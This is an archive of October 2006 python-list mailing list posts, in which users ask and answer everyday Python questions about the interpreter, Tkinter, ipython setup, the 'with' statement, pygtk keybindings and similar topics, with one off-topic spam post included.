Date: Tue, 31 Oct 2006 09:49:18 +0800 (CST)
Subject: Python windows interactive.
Message-ID: <20061031014918.66532.qmail@web15006.mail.cnb.yahoo.com>

> notejam wrote:
> Thanks everyone for the help.   I got a simple two line program to work
> from a text file.
> Can not figure out how to write more than one line in interpreter mode.
> Is that all interpreter is good for, testing one liners?  I have it
> run the program everytime I hit return, and can not figure out how to
> enter multiple lines of code.  I can do multiple lines in text file, so
> no problem, but I am jsut wondering can a program with 2 or more lines
> be wrote from the interpreter mode?

I think for this purpose you can just define a function, like this:

>>> def test():
...    print "Hello"
...    print "World"
...
>>> test()
"Hello"
"World"
>>>


		
___________________________________________________________ 
??????-3.5G???20M?? 
http://cn.mail.yahoo.com/


From pecora at anvil.nrl.navy.mil  Tue Oct 17 16:22:44 2006
From: pecora at anvil.nrl.navy.mil (Lou Pecora)
Date: Tue, 17 Oct 2006 16:22:44 -0400
Subject: pylab package dependencies
References: <1161056950.593026.114230@i42g2000cwa.googlegroups.com>
	<mailman.604.1161057667.11739.python-list@python.org>
	<pecora-D51FB8.09391617102006@ra.nrl.navy.mil>
	<mailman.650.1161106780.11739.python-list@python.org>
	<pecora-B5F159.14242617102006@ra.nrl.navy.mil>
	<mailman.654.1161110013.11739.python-list@python.org>
Message-ID: <pecora-CA311D.16224417102006@ra.nrl.navy.mil>

In article <mailman.654.1161110013.11739.python-list at python.org>,
 Robert Kern <robert.kern at gmail.com> wrote:

> Lou Pecora wrote:
> 
> > The only problem I'm having is getting ipython to run.  Not installed in 
> > /usr/local/bin (although all other IPython files look to be installed in 
> > /Library/Framewaorks/python..blah/site-packages).  I'm still searching 
> > the web sites for answers.
> 
> Create a file ~/.pydistutils.cfg with the following section (unindented):
> 
>    [install]
>    install-scripts=/usr/local/bin
> 
> Now install ipython again, and the ipython script should be installed to 
> /usr/local/bin/. You may need to be root to do so.
> 
> For more information on that configuration file:
> 
>    http://docs.python.org/inst/config-syntax.html

I assume you are telling me to install ipython from a tar distribution 
using setup etc.  I originally installed it from the SciPy Super Pack 
which apparently put in the site packages, but neglected the script in 
/usr/local/bin.  Sound right?

On the ipython web site for MacOS X it says to do the following after 
the install using python setup.py etc. in the extracted directories,

python?setup.py?install_scripts?--install-dir=/usr/local/bin

Is that what you are suggesting with the pydistutils.cfg ?  

Sorry, if I'm dense on this, but I only partially grok the command line 
install. Thanks for any help.

-- Lou Pecora  (my views are my own) REMOVE THIS to email me.


From 3dbernard at gmail.com  Thu Oct 19 17:38:20 2006
From: 3dbernard at gmail.com (Bernard Lebel)
Date: Thu, 19 Oct 2006 17:38:20 -0400
Subject: Restricting import file lookup for pyd, dll, ...
Message-ID: <61d0e2b40610191438w9ba0693y8896bebc3441069a@mail.gmail.com>

Hello,

Running Python 2.4.0 on Windows. I have run a series of tests using
Filemon (SysInternals), which logs the file system requests performed
by the computer.

By default, when I import a module in Python, Python looks for pyd,
dll, py, then pyw and finally pyc file.

In our company we do not use pyd and dll for Python stuff. Is there
any chance to disable Python from looking at these? Perhaps a flag we
can change in Python? Or would it be doable by recompiling the
sources?


Any advice is welcomed
Bernard


From larry at hastings.org  Thu Oct  5 18:31:20 2006
From: larry at hastings.org (Larry Hastings)
Date: 5 Oct 2006 15:31:20 -0700
Subject: PATCH: Speed up direct string concatenation by 20+%!
References: <1159495643.213830.289620@m7g2000cwm.googlegroups.com>
	<451CD389.3010800@jessikat.plus.net>
	<mailman.932.1159533269.10491.python-list@python.org>
	<1159540482.924744.164420@k70g2000cwa.googlegroups.com>
	<1160016111.443659.3860@k70g2000cwa.googlegroups.com>
Message-ID: <1160087480.043155.194790@i3g2000cwc.googlegroups.com>

Nicko wrote:
> I note that in both of those tests you didn't actually ever realise the
> concatenated string.  Can you give us figures for these tests having
> forced the concatenated string to be computed?

Sure, good call.  And bad news.

All these benchmarks were with functions taking N arguments that just
added (concatenated) the arguments and returned the result.  I only ran
each benchmark once.

             |  Python 2.5  |  Python 2.5
  arguments  |     release  |      concat
-------------+--------------+--------------
          2  |      7718ms  |      9078ms
          3  |      9203ms  |     10500ms
          4  |     10656ms  |     11656ms
          5  |     12156ms  |     13390ms
         20  |     29359ms  |     26703ms

Interpret as you see fit,


/larry/



From jstroud at mbi.ucla.edu  Mon Oct  9 17:19:02 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Mon, 09 Oct 2006 21:19:02 GMT
Subject: Tkinter: Making a window disappear
In-Reply-To: <1160384553.312778.275170@b28g2000cwb.googlegroups.com>
References: <1160384553.312778.275170@b28g2000cwb.googlegroups.com>
Message-ID: <a1zWg.21215$Ij.4529@newssvr14.news.prodigy.com>

Claus Tondering wrote:
> I am trying to make a Tkinter main window appear and disappear, but I
> have problems with that.
> 
> Here is a small code sample:
> 
>     class MyDialog(Frame):
>         def __init__(self):
>             Frame.__init__(self, None)
>             Label(self, text="Hello").pack()
>             Button(self, text="OK", command=self.ok).pack()
>             self.grid()
> 
>         def ok(self):
>             self.destroy()
>             self.quit()
> 
>     MyDialog().mainloop()
>     print "Now waiting 5 seconds"
>     time.sleep(5)
>     MyDialog().mainloop()
> 
> The first mainloop() shows the dialog nicely, and I press the "OK"
> button. The system then sleeps for 5 seconds, and a new dialog is
> displayed. This is all very nice.
> 
> But during the 5 seconds of sleeping, remnants of the old window are
> still visible. It is not redrawn, but it just lies there as an ugly box
> on the display. I thought that destroy()/quit() would completely remove
> the window, but obviously I am wrong.
> 
> What should I do instead?
> 
> --
> Claus Tondering
> 

Maybe think about using the Toplevel.withdraw() method. This way you 
don't have to re-instantiate your window every time. This is the 
technique used by the PMW library. Use deiconify() to get it back.

James

-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From barakad at gmail.com  Sun Oct  1 13:18:59 2006
From: barakad at gmail.com (barakad at gmail.com)
Date: 1 Oct 2006 10:18:59 -0700
Subject: How can I correct an error in an old post?
Message-ID: <1159723139.638984.293300@h48g2000cwc.googlegroups.com>

Hi.
I was searching for some information regarding a problem and found an
interesting post that includes an answer to the problem; thought the
post is very helpful it is based on a wrong assumption and thus the
solution it suggests is incorrect. It took me some time to understand
that the suggested solution is wrong and to find the correct solution
and I wish to add my findings to the post, to prevent others from
taking the wrong path.
When I tried to replay to the post I received a reject message stating
that it is impossible to replay to the topic since it is old and was
closed by a manager.
The question is how can I add this correction?
Thanks.



From geskerrett at hotmail.com  Mon Oct 23 12:06:46 2006
From: geskerrett at hotmail.com (geskerrett at hotmail.com)
Date: 23 Oct 2006 09:06:46 -0700
Subject: FreeImagePy creating thumbnails from TIFF
Message-ID: <1161619606.141497.117030@k70g2000cwa.googlegroups.com>

I a trying to create a series of thumbnail images from a multpage TIFF
file.  The sample code is below.  When it executes, we get the
following error;
FreeImagePy.constants.FreeImagePy_ColorWrong: 'Wrong color 1 in
function: FreeImage_MakeThumbnail. I can use: (8, 24, 32)'

Any suggestions?

fname = "01-PJ2306.tif"
img = FIPY.Image()
img.load(fname)

#NOTE: the follow method results"
#getFormat: ((18, 0), ('TIFF', 'MINISWHITE'), (200, 200))
#getColorUsed: 2
#getNumPages: 8

for pg in range(img.getNumPages()):
    print 'page;',pg
    bmp = FIPY.Image()
    bmp.new((300,300),fileType=FIF_TIFF)
    bmp.setBitmap(img)
    bmp.thumbnail(300,convert=True)
    bmp.save("first_thumb_"+str(pg), FIF_PNG)
    img.setCurrentPage(pg+1)
    del bmp

Using the above "img" we were able to successfully create the seperate
pages as PNG files in a working directory, however, our goal is to use
to display a series of thumbnails in a wxpython application.  The app
will stored references back to the orginal document with the
correspondng page number.   Essentially we want to avoid having to
"cleanup" a working directory of the PNG pages.
... but if someone has suggestions on this, we are interested too !

Thanks in avance.



From usenet-mail-0306.20.chr0n0ss at spamgourmet.com  Tue Oct 10 08:36:38 2006
From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann)
Date: Tue, 10 Oct 2006 14:36:38 +0200
Subject: Dive Into Java?
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<4ov2eeFgh8t6U1@individual.net> <4ov4ekFg823lU1@uni-berlin.de>
	<4ovcbvFgc2nlU1@individual.net>
	<1160451192.177874.122180@m73g2000cwd.googlegroups.com>
Message-ID: <4p1iemFgr6mpU1@individual.net>

Dan Bishop wrote:
> On Oct 9, 11:40 am, Bjoern Schliessmann

>> String eggs = new String();
>>
>> The latter seems totally unnecessary to me, as well as being too
>> verbose
 
> It is!  All you have to write is
> 
> String eggs = "";
> 
> Unfortunately, the other object types don't have literals.

LOL. Sun likes their own String objects more than their principles,
don't they? :)
 
> Can't be, because Java already uses the syntax for something
> different than C++.

Ah, know what you mean (empty reference). That seems weird to me
too, altogether. This syntax break compared to basic types makes it
all most unaesthetic.

Regards,


Bj?rn

-- 
BOFH excuse #248:

Too much radiation coming from the soil.



From robert.kern at gmail.com  Mon Oct 23 12:16:40 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Mon, 23 Oct 2006 11:16:40 -0500
Subject: Set operations in Numeric
In-Reply-To: <1161617351.740540.37590@b28g2000cwb.googlegroups.com>
References: <1161617351.740540.37590@b28g2000cwb.googlegroups.com>
Message-ID: <ehipt8$iq9$1@sea.gmane.org>

George Sakkis wrote:
> Is there a way to handle numeric (or numarray or numpy) arrays as sets
> and compute efficiently their intersection, union, etc. ? I hope there
> is a faster way than s = array(set(A) & set(B)). Can this be done with
> masked arrays maybe ? I've never used them though and browsing through
> the docs didn't make clear if it is possible.

You'll probably want to ask such questions on the numpy list:

   http://www.scipy.org/Mailing_Lists

Robert Cimrman has implemented a number of set operations based on sorting.

   http://svn.scipy.org/svn/scipy/trunk/Lib/sandbox/arraysetops/arraysetops.py

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From fredrik at pythonware.com  Thu Oct 26 16:08:39 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 26 Oct 2006 22:08:39 +0200
Subject: which one of these is better?
In-Reply-To: <YO70h.169$1n3.4160@news.tufts.edu>
References: <BR60h.167$1n3.4240@news.tufts.edu>	<Yu-dnbqskNs0mdzYnZ2dnUVZ_q-dnZ2d@comcast.com>
	<YO70h.169$1n3.4160@news.tufts.edu>
Message-ID: <ehr4kb$li4$1@sea.gmane.org>

John Salerno wrote:

>> Not sure about the with-- I just went to read the PEP on it, and it
>> confused me greatly.  :-)  So, I don't know.
> 
> Ditto. :)

No need to be confused; the "with" statement is actually very simple. 
Consider this piece of code:

     set things up
     try:
         do something
     finally:
         tear things down

If you do this a lot, it would quite convenient if you could put the 
"set things up" and "tear things down" code in a library function, so 
you could reuse it.  You can of course do something like

     def controlled_execution(callback):
         set things up
         try:
             callback(thing)
         finally:
             tear things down

     def my_function(thing):
         do something

     controlled_execution(my_function)

but that's a bit verbose, especially if you need to modify local 
variables.  Another approach is to use a one-shot generator, and
abuse the for-in statement:

     def controlled_execution():
         set things up
         try:
             yield thing
         finally:
             tear things down

     for thing in controlled_execution():
         do something with thing

but this looks a bit weird, and doesn't even work in 2.4 and earlier. 
So after contemplating a number of alternatives, GvR finally came up 
with a generalization of the latter, using an object instead of a 
generator to control the behaviour of an external piece of code:

     class controlled_execution:
         def __enter__(self):
             set things up
             return thing
         def __exit__(self, type, value, traceback):
             tear things down

     with controlled_execution() as variable:
          some code

When the "with" statement is executed, Python evaluates the expression, 
calls the __enter__ method on the resulting value (which is called a 
"context guard"), and assigns whatever __enter__ returns to the given 
variable.  Python will then execute the code body, and *no matter what 
happens in that code*, call the guard object's __exit__ method.

For extra bonus, the __exit__ method can look at the exception, if any, 
and suppress or modify it, if necessary.  For example, the following 
__exit__ method swallows any TypeError, but lets all other exceptions 
through:

     def __exit__(self, type, value, traceback):
         return isinstance(value, TypeError)

In Python 2.5, the file object has been equipped with __enter__ and 
__exit__ methods; the former simply returns the file object itself, and 
the latter closes the file:

     >>> f = open("x.txt")
     >>> f
     <open file 'x.txt', mode 'r' at 0x00AE82F0>
     >>> f.__enter__()
     <open file 'x.txt', mode 'r' at 0x00AE82F0>
     >>> f.read(1)
     'X'
     >>> f.__exit__(None, None, None)
     >>> f.read(1)
     Traceback (most recent call last):
       File "<stdin>", line 1, in <module>
     ValueError: I/O operation on closed file

This wasn't very difficult, was it?

</F>



From sonaldgr8 at gmail.com  Fri Oct 20 04:45:49 2006
From: sonaldgr8 at gmail.com (sonald)
Date: 20 Oct 2006 01:45:49 -0700
Subject: Unicode support in python
Message-ID: <1161333949.746819.253500@m7g2000cwm.googlegroups.com>

Hi,
I am using python2.4.1

I need to pass russian text into python and validate the same.
Can u plz guide me on how to make my existing code support the
russian  text.

Is there any module that can be used for unicode support in python?

Incase of decimal numbers, how to handle "comma as a decimal point"
within a number

Currently the existing code is woking fine for English text
Please help.

Thanks in advance.

regards
sonal



From f.braennstroem at gmx.de  Sat Oct 28 11:29:44 2006
From: f.braennstroem at gmx.de (Fabian Braennstroem)
Date: Sat, 28 Oct 2006 17:29:44 +0200
Subject: change keybindings for pygtk treeview
References: <ehstjt$m5b$1@sea.gmane.org>
Message-ID: <ehvt13$ep0$1@sea.gmane.org>

Hi,

* Fabian Braennstroem <f.braennstroem at gmx.de> wrote:
> Hi,
>
> I am just testing pygtk/glade out and wonder, if I am able
> to change the keybindings. E.g. the treeview searches by
> default for the entries beginning with the typed keystroke;
> moving to the next row works as usual with the Down key. Now
> I would like to change the key bindings to e.g. 'j' to move
> to the next row (just like in vim) and to use a 'Ctrl' key
> combination to search for a certain word beginning with the
> typed key stroke.

I just found out, that I am able to turn it of with
'treeview.set_enable_search(False)'. Works nice.

An option would be, to toggle the searching function with
some keystroke, e.g. 'Ctrl-s'. And set a key binding for the
movement to 'j' and 'k' when the search mode is disabled. I
think I could do it somehow with the 'accelgroup' function,
but did not find enough information to get a clue out of it.

Does anybody have an idea?

In a small curses based file manager (lfm) there is an
assignment of keybindings via a keytable

keytable = {
    # movement
    ord('p'): 'cursor_up',
    ord('k'): 'cursor_up',
    ord('K'): 'cursor_up2',
    ord('P'): 'cursor_up',
    curses.KEY_UP: 'cursor_up',
    ord('n'): 'cursor_down',
    ord('j'): 'cursor_down',
    ord('J'): 'cursor_down2',
    ord('N'): 'cursor_down',
    ...

Would that work in any way for a pygtk program too?


Greetings!
 Fabian



From buzzi.paolo at gmail.com  Tue Oct  3 03:27:47 2006
From: buzzi.paolo at gmail.com (Paolo)
Date: 3 Oct 2006 00:27:47 -0700
Subject: postgresql database
In-Reply-To: <1159805351.300305.138160@i42g2000cwa.googlegroups.com>
References: <1159803809.124967.262290@b28g2000cwb.googlegroups.com>
	<1159805351.300305.138160@i42g2000cwa.googlegroups.com>
Message-ID: <1159860467.365605.125130@i42g2000cwa.googlegroups.com>


Michele Simionato ha scritto:

> Paolo wrote:
> > Ciao a tutti, sto cercando di implementare un applicazione che si
> > interfaccia con postgresql(8.1), utilizzando Psycopg2, in ambiente
> > windows (python versione 2.5). Ho installato Psycopg2 e provando
> > solamente fare: import psycopg mi ritorna il seguente errore:
> >
> >     import psycopg
> > ImportError: No module named psycopg
> >
> > come mai? va settata qualche path oltre a quella di postgresql ?
> >
> > grazie dell'aiuto
>
> Well, if you are using Psycopg2, do
>
> import psycopg2

sure, I have mistaken to write the import, the problem was in the
version of the driver. Thank you for tour fast answer.

>
> (and please use the italian mailing list for questions in Italian).

sorry, but I thought to write in the italian mailing list.

> 
>          Michele Simionato



From antroy at gmail.com  Sat Oct  7 03:57:13 2006
From: antroy at gmail.com (Ant)
Date: 7 Oct 2006 00:57:13 -0700
Subject: humble coin head or tail game script I wrote
In-Reply-To: <1160157908.997499.289220@k70g2000cwa.googlegroups.com>
References: <1160157908.997499.289220@k70g2000cwa.googlegroups.com>
Message-ID: <1160207833.868874.153000@i42g2000cwa.googlegroups.com>


> # Get a list which contains 10 values from the user
> # let them predict Head Or Tail in ten times coin thrown
> # and then prdict the list by a fixed rule
>
>
> list = []
>
> print 'Predict Head or Tail in ten times coin thrown\nJust input \'h\'
> or \'t\' please\n'
>
> count = 0
> while True:
>     count += 1
>     print '\nNo.', count, ', h or t? '
>     pre_user = raw_input()
>     while pre_user != 'h' and pre_user != 't':
>         print '\njust enter \'h\' or \'t\' please'
>         print '\nNo.', count, ', h or t? '
>         pre_user = raw_input()
>     list.append(pre_user)
>     if count == 10:
>         break

You can simplify this considerably:

user_input = []  # list is a keyword so makes a bad variable name.

while len(user_input) < 10:
    print '\nNo.', len(user_input) + 1, ', h or t? '
    pre_user = raw_input()
    if pre_user not in ["h","t"]:   # Note you can also use <code>not
in "ht"</code>
        print '\njust enter \'h\' or \'t\' please'
        continue
    user_input.append(pre_user)

print user_input

HTH.



From intager at gmail.com  Tue Oct  3 17:03:06 2006
From: intager at gmail.com (Non Existence)
Date: 3 Oct 2006 14:03:06 -0700
Subject: ** NEW SCIENTIFIC AND FORENSIC JOURNAL LAUNCHED ** and 1MILLION
	reward
In-Reply-To: <1159902812.245148.153910@m73g2000cwd.googlegroups.com>
References: <1159902812.245148.153910@m73g2000cwd.googlegroups.com>
Message-ID: <1159909386.113456.144750@b28g2000cwb.googlegroups.com>

http://www.childpastlives.org/library.htm
http://www.odemagazine.com/article.php?aID=4207
http://www.nderf.org/vonlommel_consciousness.htm



From steve at holdenweb.com  Mon Oct 30 16:09:41 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 30 Oct 2006 21:09:41 +0000
Subject: importing class
In-Reply-To: <1162220253.426998.197840@i42g2000cwa.googlegroups.com>
References: <1161966120.828597.57280@b28g2000cwb.googlegroups.com>	<pan.2006.10.27.16.28.47.580241@gmx.net>	<1162140046.696622.295130@m7g2000cwm.googlegroups.com>	<mailman.1457.1162179691.11739.python-list@python.org>
	<1162220253.426998.197840@i42g2000cwa.googlegroups.com>
Message-ID: <ei5pkf$hem$1@sea.gmane.org>

gmarkowsky at gmail.com wrote:
> Thanks for your help. Actually my idea was that command1 and command2
> would be defined within the program, not the module, as I would have
> different choices in different programs. Should I pass them in as a
> parameter too?
> 
It would seem to be the only way to tell your object which callbacks to 
call!

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From arkanes at gmail.com  Wed Oct 25 10:04:16 2006
From: arkanes at gmail.com (Chris Mellon)
Date: Wed, 25 Oct 2006 09:04:16 -0500
Subject: Sending Dictionary via Network
In-Reply-To: <1161734203.189942.42020@k70g2000cwa.googlegroups.com>
References: <1161730229.556578.278020@f16g2000cwb.googlegroups.com>
	<VfGdnW3keKyzBKPYnZ2dnUVZ_sOdnZ2d@comcast.com>
	<1161731374.373983.56110@m73g2000cwd.googlegroups.com>
	<1161734203.189942.42020@k70g2000cwa.googlegroups.com>
Message-ID: <4866bea60610250704t343adc6dycf0f14dfd4b6b610@mail.gmail.com>

On 24 Oct 2006 16:56:43 -0700, Simon Forman <rogue_pedro at yahoo.com> wrote:
>
> mumebuhi wrote:
> > Thank you very much for the reply.
> >
> > Can pickle work directly with socket? The way I am doing right now is
> > to pickle the object to a file then send the file content through the
> > socket.
>
> Pickle aso has dumps() and loads() to work with strings rather than
> files.


I would recommend against using pickle if you're going to push it over
a network - there are signifigant dangers in unpickling anything
untrusted.


From yellowalienbaby at gmail.com  Wed Oct 18 18:10:36 2006
From: yellowalienbaby at gmail.com (yellowalienbaby at gmail.com)
Date: 18 Oct 2006 15:10:36 -0700
Subject: Getting method name from within the class method
In-Reply-To: <mailman.722.1161208770.11739.python-list@python.org>
References: <mailman.716.1161205201.11739.python-list@python.org>
	<1161207492.298811.178110@m7g2000cwm.googlegroups.com>
	<mailman.722.1161208770.11739.python-list@python.org>
Message-ID: <1161209436.684309.296870@m7g2000cwm.googlegroups.com>


Mitko Haralanov wrote:
> On 18 Oct 2006 14:38:12 -0700
> yellowalienbaby at gmail.com wrote:
>
> > >>> class test(object):
> > ...  def a_method(self,this,that):
> > ...   print self.a_method.__name__
>
> Doing the above will obviously work!
>
> However, I don't want to have to use the name of the function in the
> print statement (the ".a_method." part). Imagine having about 100 of
> the above print statements in the function and then you change the name
> of the function. I want all 100 of the print statements to work without
> having to change every one of them to reflect the new function name.

Thats what I thought..
I dont know if there is a python way of doing it, but if replacing text
is the only concern, wouldnt a good editor with regex search+replace
make the job easier ?

or if your in a unix with ksh / pdksh

for f in $(ls)
do
 sed -e "s/print self.a_method.__name__/print self.new_name.__name/g"
done

or similar...

I'm not helping much, am I :)



From rvernica at gmail.com  Sat Oct 28 15:18:04 2006
From: rvernica at gmail.com (Rares Vernica)
Date: Sat, 28 Oct 2006 12:18:04 -0700
Subject: unescape HTML entities
Message-ID: <ei0add$man$1@sea.gmane.org>

Hi,

How can I unescape HTML entities like "&nbsp;"?

I know about xml.sax.saxutils.unescape() but it only deals with "&amp;", 
"&lt;", and "&gt;".

Also, I know about htmlentitydefs.entitydefs, but not only this 
dictionary is the opposite of what I need, it does not have "&nbsp;".

It has to be in python 2.4.

Thanks a lot,
Ray



From anthra.norell at vtxmail.ch  Mon Oct 23 15:23:54 2006
From: anthra.norell at vtxmail.ch (Frederic Rentsch)
Date: Mon, 23 Oct 2006 21:23:54 +0200
Subject: Attempting to parse free-form ANSI text.
In-Reply-To: <453D151C.8080905@vtxmail.ch>
References: <GsGdnTIYc-lXaafYnZ2dnUVZ_sCdnZ2d@comcast.com>	<JfU_g.1083$GR2.132@tornado.texas.rr.com>	<453CBC03.6090003@vtxmail.ch>
	<453D151C.8080905@vtxmail.ch>
Message-ID: <453D16CA.6030805@vtxmail.ch>

Frederic Rentsch wrote:
> Frederic Rentsch wrote:
>   
>> Paul McGuire wrote:
>>   
>>     
>>> "Michael B. Trausch" <"mike$#at^&nospam!%trauschus"> wrote in message 
>>>     
>>>       
>
> Sorry about the line wrap mess in the previous message. I try again with 
> another setting:
>
> Frederic
>   
I give up!




From lycka at carmen.se  Thu Oct 12 06:03:43 2006
From: lycka at carmen.se (Magnus Lycka)
Date: Thu, 12 Oct 2006 12:03:43 +0200
Subject: Where is Python in the scheme of things?
In-Reply-To: <4524beb9$0$310$426a74cc@news.free.fr>
References: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
	<4524beb9$0$310$426a74cc@news.free.fr>
Message-ID: <egl3tv$g4g$1@wake.carmen.se>

Bruno Desthuilliers wrote:
> gord wrote:
>> As a complete novice in the study of Python, I am asking myself where this 
>> language is superior or better suited than others. For example, all I see in 
>> the tutorials are lots of examples of list processing, arithmetic 
>> calculations - all in a DOS-like environment.
> 
> s/DOS-like/command line/
> 
> The command line interface is widely used on unix-like systems, and is
> very handy for a lot of things.

In general, I think using the keyboard more and the mouse less is
typically a win, both in power of expression and in speed. I don't
think it's a coincidence that most of us use the keyboard and plain
text to communicate in this forum. Writing text by pointing, dragging
and clicking instead of by typing, would probably slow us down quite
a bit.

I feel much more productive in bash than in most Windows apps.
(I still like to have several terminal windows though.)

My seven year old son did play a bit with magnetic letters we have
on the fridge door in the kitchen (when he was small, he'd say now)
but he's dropped that entirely in favor of pencil and paper. His
two year old brother can play with that fridge-based GUI...

When we reach a certain level of expertize, we often find it easier
to pick the things we put together from our memory and imagination,
rather than from some kind of menu in our field of vision.

Ok, the keyboard is a kind of menu too, but that's not the point.
The important thing is that text is an extremely powerful way of
conveying information that we've used for thousands of years. It's
far more sophisticated than pointing at visible objects.

Also, a tool like Python isn't bound to keyboards, like VB is
bound to the Windows GUI. Almost everything, from network traffic,
to GUI interaction, to hardware manipulations can be effectively
translated to and from text formats. Not that Python can't handle
binary data, but going via textual representations usually makes
testing, debugging and understanding much easier.

I'd suggest that the OP look at the Wikipedia page in Unix
Philosophy. Read about Gancarz tenets, and replace shell scripts
with Python. (Of course, Python offers more elaborate communication
than pipes.) I'd also the link to Joel Spolsky's Biculturalism
article, and read that.


From bj_666 at gmx.net  Sun Oct 22 10:50:10 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Sun, 22 Oct 2006 16:50:10 +0200
Subject: How to print a file in binary mode
References: <1161519385.614985.311240@m73g2000cwd.googlegroups.com>
	<pan.2006.10.22.13.06.08.86072@gmx.net>
	<1161524030.833422.216370@k70g2000cwa.googlegroups.com>
Message-ID: <pan.2006.10.22.14.50.09.156437@gmx.net>

In <1161524030.833422.216370 at k70g2000cwa.googlegroups.com>, Lucas wrote:

> thanks for your answer.
> 
> I known how to do it.
> read() return a string. so
> 1) bytes = read(1) #read the file by bit.

This reads a byte, not a bit.

> 2) chrString  = ord(bytes) #convert the string to ASCII.

Converts the byte into an integer with value of the byte.  This has
nothing to do with ASCII.

> 3) print numberToBinary(chrString) #convert the ASCII to Binary using
> my function.

You mean a binary representation i.e. a string that contains just 0s and
1s?

> 4) Loop

This is quite inefficient.  If the file is not too big it's better to load
it into memory completely.  And if you need the byte value of every single
byte you should read the file into an `array.array()` of type 'B'.

Ciao,
	Marc 'BlackJack' Rintsch


From aisaac0 at verizon.net  Tue Oct 24 13:57:02 2006
From: aisaac0 at verizon.net (David Isaac)
Date: Tue, 24 Oct 2006 17:57:02 GMT
Subject: return same type of object
References: <bqp%g.80658$073.43363@trnddc01>
	<453e26bf$0$21879$426a74cc@news.free.fr>
Message-ID: <Ots%g.3442$hK.1804@trnddc02>


Bruno wrote:
> This is usually known as a 'factory method'. You do realise that both
solutions are *not* strictky equilavent, do you?

Your point I believe is that after inheritance the factory method
in the subclass will still
return MyClass()
but will return an instance of the subclass if I
return self.__class__()

Right.

You did not comment further so I take it your view is that
each is fine, pick the one that gives the behavior you want.
But Steve suggests going with the latter.
Here is an (very crude) argument for going with the latter:
if you know you want an instance of MyClass(),
you can do that directly, but if you do this via a factory method,
then  (after inheritance) the action of the factory method becomes obscured.

Does that make any sense?

Thanks,
Alan Isaac
of the factory




From pecora at anvil.nrl.navy.mil  Tue Oct 17 09:54:43 2006
From: pecora at anvil.nrl.navy.mil (Lou Pecora)
Date: Tue, 17 Oct 2006 09:54:43 -0400
Subject: How to invoke ipython in Mac OS X?
Message-ID: <pecora-201AF7.09544317102006@ra.nrl.navy.mil>

I installed the SciPy superpackage and have pylab, matplotlib, scipy, 
and numpy apparently running well.  But I want to use matplotlib/pylab 
interactively.  The instructions suggest doing this in IPython.  But 
using ipython on the command line gives me an error.  The system doesn't 
know the command.  Apparently there is no ipython executable in one of 
the bin directories.  I thought the superpackage would add that 
automatically, but I guess not.  

Can anyone tell me how to get ipython running on my MacOSX 10.4 system?

Thanks for any help.

(Yes, I asked on the SciPy email list, but never got an answer.)

-- Lou Pecora  (my views are my own) REMOVE THIS to email me.


From joehust at gmail.com  Thu Oct 26 03:06:38 2006
From: joehust at gmail.com (joe Li)
Date: Thu, 26 Oct 2006 15:06:38 +0800
Subject: python html 2 image (png)
In-Reply-To: <1161845822.338404.197410@f16g2000cwb.googlegroups.com>
References: <1161763383.622381.299350@b28g2000cwb.googlegroups.com>
	<mailman.1155.1161764711.11739.python-list@python.org>
	<1161778587.501281.92320@h48g2000cwc.googlegroups.com>
	<4q9l3cFm97ffU1@uni-berlin.de>
	<1161845822.338404.197410@f16g2000cwb.googlegroups.com>
Message-ID: <11c6e45f0610260006r7aa6d5b0w8f91eaa235c065df@mail.gmail.com>

**class Bunch(object):
    def __init__(self, **fields):
        self.__dict__ = fields

p = Bunch(x=2.3, y=4.5)
print p

print p.__dict__

I dont' understand the usage of the double * here, could anyone explain it
for me? thanks.
-------------- next part --------------
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From wescpy at gmail.com  Thu Oct  5 19:21:28 2006
From: wescpy at gmail.com (wesley chun)
Date: Thu, 5 Oct 2006 16:21:28 -0700
Subject: building strings from variables
Message-ID: <78b3a9580610051621k3005fa97naacda1d28762cdee@mail.gmail.com>

> Following a discussion with an associate at work about various ways to
build strings from variables in python, I'd like to hear your opinions
and preferred methods.


from the performance standpoint, i believe that #4 (list join) from
scott is the fastest. #1 (string formatting) is next preferred only
because #3 (string concat) is the worst [think "realloc()"].  #2 is
useful for when you have users who aren't as comfortable with #1.

however, #3 is good for real newbies or those coming from other
languages since conceptually, it's the easiest to comprehend. bottom
line is that it depends on your requirements.

i'm constantly thinking performance, so that's why i answered in the
manner above.

hope this helps!
-- wesley
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
"Core Python Programming", Prentice Hall, (c)2007,2001
    http://corepython.com

wesley.j.chun :: wescpy-at-gmail.com
python training and technical consulting
cyberweb.consulting : silicon valley, ca
http://cyberwebconsulting.com


From bignose+hates-spam at benfinney.id.au  Thu Oct 26 05:20:30 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Thu, 26 Oct 2006 19:20:30 +1000
Subject: Printing Hidden Character in Python
References: <3ACF03E372996C4EACD542EA8A05E66A0615D6@mailbe01.teak.local.net>
	<87ejsvihaj.fsf@benfinney.id.au>
	<3ACF03E372996C4EACD542EA8A05E66A0615D7@mailbe01.teak.local.net>
Message-ID: <8764e7igbl.fsf@benfinney.id.au>

[Please don't top-post replies. I've corrected it in this post.]

Wijaya Edward <ewijaya at i2r.a-star.edu.sg> writes:

> Ben Finney wrote:
> > Wijaya Edward <ewijaya at i2r.a-star.edu.sg> writes:
> > > How can we print out the hidden character like "\n", "\r" etc in
> > > Python?
> > What result do you want that you're not getting with:
> >     print "\n"
>
> printing "line" will not show the hidden chars like "\n","\r".
> Is there  a way to print it out?

Again, I don't know what result you want to see. The characters are
non-printable; what output do you expect?

If you want to see a Python string representation of the input, maybe
